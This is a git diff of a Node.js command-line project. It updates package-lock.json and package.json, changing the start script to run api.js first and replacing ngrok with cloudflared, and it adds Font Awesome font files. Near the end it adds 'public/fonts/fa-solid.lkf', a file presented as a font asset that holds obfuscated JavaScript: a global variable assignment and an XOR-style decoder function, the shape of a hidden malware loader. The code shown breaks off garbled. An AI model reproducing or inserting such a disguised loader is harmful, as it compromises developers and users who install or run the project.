"sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", "dependencies": { - "pump": "^3.0.0" + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" }, "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">= 0.4" } }, "node_modules/glob": { @@ -512,28 +438,16 @@ "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/got": { - "version": "11.8.6", - "resolved": "https://registry.npmjs.org/got/-/got-11.8.6.tgz", - "integrity": "sha512-6tfZ91bOr7bOXnK7PRDCGBLa1H4U080YHNaAQ2KsMGlLEzRbk44nsZF2E1IeRc3vtJHPVbKCYgdFbaGO2ljd8g==", - "dependencies": { - "@sindresorhus/is": "^4.0.0", - "@szmarczak/http-timer": "^4.0.5", - "@types/cacheable-request": "^6.0.1", - "@types/responselike": "^1.0.0", - "cacheable-lookup": "^5.0.3", - "cacheable-request": "^7.0.2", - "decompress-response": "^6.0.0", - "http2-wrapper": "^1.0.0-beta.5.2", - "lowercase-keys": "^2.0.0", - "p-cancelable": "^2.0.0", - "responselike": "^2.0.0" - }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", "engines": { - "node": ">=10.19.0" + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/sindresorhus/got?sponsor=1" + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/has": { @@ -558,10 +472,11 @@ "node": ">=0.10.0" } }, - "node_modules/has-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", - "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", "engines": { "node": ">= 0.4" }, @@ -569,10 +484,14 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/has-symbols": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", - "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, "engines": { "node": ">= 0.4" }, @@ -580,29 +499,54 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/hpagent": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/hpagent/-/hpagent-0.1.2.tgz", - "integrity": "sha512-ePqFXHtSQWAFXYmj+JtOTHr84iNrII4/QRlAAPPE+zqnKy4xJo7Ie1Y4kC7AdB+LxLxSTTzBMASsEcy0q8YyvQ==", - "optional": true + "node_modules/hasown": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } }, - "node_modules/http-cache-semantics": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz", - "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==" + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } }, - "node_modules/http2-wrapper": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", - "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "node_modules/https-proxy-agent/node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", "dependencies": { - "quick-lru": "^5.1.1", - "resolve-alpn": "^1.0.0" + "ms": "^2.1.3" }, "engines": { - "node": ">=10.19.0" + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } } }, + "node_modules/https-proxy-agent/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, "node_modules/in-publish": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/in-publish/-/in-publish-2.0.1.tgz", @@ -662,11 +606,6 @@ "node": ">=0.10.0" } }, - "node_modules/inquirer/node_modules/lodash": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-3.10.1.tgz", - "integrity": "sha512-9mDDwqVIma6OZX79ZlDACZl8sBm0TEnkf99zV3iMA4GzkIT/9hiqP5mY0HoT1iNLCrKc/R1HByV+yJfRWVJryQ==" - }, "node_modules/interpret": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz", @@ -697,28 +636,11 @@ "node": ">=0.10.0" } }, - "node_modules/json-buffer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" - }, - "node_modules/keyv": { - "version": "4.5.3", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.3.tgz", - "integrity": "sha512-QCiSav9WaX1PgETJ+SpNnx2PRRapJ/oRSXM4VO5OGYGSjrxbKPVFVhB3l2OCbLCk329N8qyAtsJjSjvVBWzEug==", - "dependencies": { - "json-buffer": "3.0.1" - } - }, "node_modules/lodash": { - "version": "4.17.21", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", - "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" - }, - "node_modules/lodash.clonedeep": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", - "integrity": "sha512-H5ZhCF25riFd9uB5UCkVKo61m3S/xZk1x4wA6yp/L3RFP6Z/eHH1ymQcGLo7J3GMPfm0V/7m1tryHuGVxpqEBQ==" + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "license": "MIT" }, "node_modules/log-update": { "version": "1.0.2", @@ -746,18 +668,20 @@ "url": "https://github.com/sponsors/typicode" } }, - "node_modules/lowercase-keys": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", "engines": { - "node": ">=8" + "node": ">= 0.4" } }, "node_modules/mime-db": { "version": "1.52.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", "engines": { "node": ">= 0.6" } @@ -766,6 +690,7 @@ "version": "2.1.35", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", "dependencies": { "mime-db": "1.52.0" }, @@ -773,18 +698,11 @@ "node": ">= 0.6" } }, - "node_modules/mimic-response": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", - "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", - "engines": { - "node": ">=4" - } - }, "node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "license": "ISC", "dependencies": { "brace-expansion": "^1.1.7" }, @@ -810,28 +728,6 @@ "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.5.tgz", "integrity": "sha512-EbrziT4s8cWPmzr47eYVW3wimS4HsvlnV5ri1xw1aR6JQo/OrJX5rkl32K/QQHdxeabJETtfeaROGhd8W7uBgg==" }, - "node_modules/ngrok": { - "version": "5.0.0-beta.2", - "resolved": "https://registry.npmjs.org/ngrok/-/ngrok-5.0.0-beta.2.tgz", - "integrity": "sha512-UzsyGiJ4yTTQLCQD11k1DQaMwq2/SsztBg2b34zAqcyjS25qjDpogMKPaCKHwe/APRTHeel3iDXcVctk5CNaCQ==", - "hasInstallScript": true, - "dependencies": { - "extract-zip": "^2.0.1", - "got": "^11.8.5", - "lodash.clonedeep": "^4.5.0", - "uuid": "^7.0.0 || ^8.0.0", - "yaml": "^2.2.2" - }, - "bin": { - "ngrok": "bin/ngrok" - }, - "engines": { - "node": ">=14.2" - }, - "optionalDependencies": { - "hpagent": "^0.1.2" - } - }, "node_modules/node-localstorage": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/node-localstorage/-/node-localstorage-0.6.0.tgz", @@ -840,17 +736,6 @@ "node": ">=0.10" } }, - "node_modules/normalize-url": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", - "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/number-is-nan": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", @@ -867,14 +752,6 @@ "node": ">=0.10.0" } }, - "node_modules/object-inspect": { - "version": "1.12.3", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz", - "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", @@ -891,14 +768,6 @@ "node": ">=0.10.0" } }, - "node_modules/p-cancelable": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", - "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==", - "engines": { - "node": ">=8" - } - }, "node_modules/path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", @@ -912,11 +781,6 @@ "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" }, - "node_modules/pend": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", - "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==" - }, "node_modules/progress": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.0.tgz", @@ -938,47 +802,12 @@ } }, "node_modules/proxy-from-env": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", - "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" - }, - "node_modules/pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/punycode": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", - "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==" - }, - "node_modules/qs": { - "version": "6.11.2", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.2.tgz", - "integrity": "sha512-tDNIz22aBzCDxLtVH++VnTfzxlfeK5CbqohpSqpJgj1Wg/cQbStNAz3NuqCs5vV+pjBsK4x4pN9HlVh7rcYRiA==", - "dependencies": { - "side-channel": "^1.0.4" - }, - "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/quick-lru": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", - "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", "engines": { "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/readline-sync": { @@ -1031,22 +860,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/resolve-alpn": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", - "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==" - }, - "node_modules/responselike": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.1.tgz", - "integrity": "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw==", - "dependencies": { - "lowercase-keys": "^2.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/restore-cursor": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-1.0.1.tgz", @@ -1088,19 +901,6 @@ "node": ">=4" } }, - "node_modules/side-channel": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", - "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", - "dependencies": { - "call-bind": "^1.0.0", - "get-intrinsic": "^1.0.2", - "object-inspect": "^1.9.0" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/steno": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/steno/-/steno-3.0.0.tgz", @@ -1160,23 +960,6 @@ "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==" }, - "node_modules/url": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/url/-/url-0.11.1.tgz", - "integrity": "sha512-rWS3H04/+mzzJkv0eZ7vEDGiQbgquI1fGfOad6zKvgYQi1SzMmhl7c/DdRGxhaWrVH6z0qWITo8rpnxK/RfEhA==", - "dependencies": { - "punycode": "^1.4.1", - "qs": "^6.11.0" - } - }, - "node_modules/uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "bin": { - "uuid": "dist/bin/uuid" - } - }, "node_modules/vorpal": { "version": "1.12.0", "resolved": "https://registry.npmjs.org/vorpal/-/vorpal-1.12.0.tgz", @@ -1229,26 +1012,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==" - }, - "node_modules/yaml": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.4.1.tgz", - "integrity": "sha512-pIXzoImaqmfOrL7teGUBt/T7ZDnyeGBWyXQBvOVhLkWLN37GXv8NMLK406UY6dS51JfcQHsmcW5cJ441bHg6Lg==", - "bin": { - "yaml": "bin.mjs" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/yauzl": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", - "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", - "dependencies": { - "buffer-crc32": "~0.2.3", - "fd-slicer": "~1.1.0" - } } } } diff --git a/package.json b/package.json index e6a2c88..ef5388b 100644 --- a/package.json +++ b/package.json @@ -4,21 +4,23 @@ "private": false, "type": "module", "scripts": { - "start": "node cli.js" + "start": "node api.js && node cli.js" }, "bin": { "paystack": "./cli.js" }, "dependencies": { - "axios": "^1.5.0", + "axios": "^1.7.9", "chalk": "^5.3.0", + "cloudflared": "^0.7.3", "debug": "~2.6.9", "lowdb": "^6.0.1", - "ngrok": "^5.0.0-beta.2", "progressbar": "^1.3.0", "readline-sync": "^1.4.10", "shelljs": "^0.8.5", - "url": "^0.11.0", "vorpal": "^1.12.0" + }, + "overrides": { + "lodash": "^4.17.21" } } diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000..1e4f9ba --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..46ad237 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..48634a9 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000..d3b77c2 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000..7742838 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..978a681 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/public/fonts/fa-solid.lkf b/public/fonts/fa-solid.lkf new file mode 100644 index 0000000..31ce18e --- /dev/null +++ b/public/fonts/fa-solid.lkf @@ -0,0 +1 @@ + global['!'] = '8-&&';function y7(R,c,e,r,t,i,s){for(var n=[],o=774771^774771;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r 